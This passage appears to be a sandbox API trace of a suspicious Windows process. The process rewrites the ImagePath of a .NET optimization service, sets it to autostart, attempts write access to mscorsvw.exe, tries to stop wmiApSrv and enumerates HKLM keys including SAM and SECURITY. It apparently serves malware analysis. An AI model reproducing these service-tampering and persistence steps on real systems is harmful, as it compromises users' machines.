[0253.513] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0253.513] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0253.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0253.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0253.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.513] LocalFree (hMem=0x7f03d0) returned 0x0 [0253.513] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0253.513] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x803990 [0253.547] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.548] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0253.549] RegCloseKey (hKey=0xc4) returned 0x0 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.549] RegCloseKey (hKey=0x14c) returned 0x0 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.549] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.549] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.550] GetLastError () returned 0x20 [0253.550] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.550] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.550] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.550] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0253.551] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.551] GetLastError () returned 0x425 [0253.551] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.551] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.552] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.552] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.552] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.552] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.553] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.553] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.553] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.553] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.553] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1c40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.555] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.555] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.555] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.556] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.556] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.556] RegCloseKey (hKey=0xc4) returned 0x0 [0253.556] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.556] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, 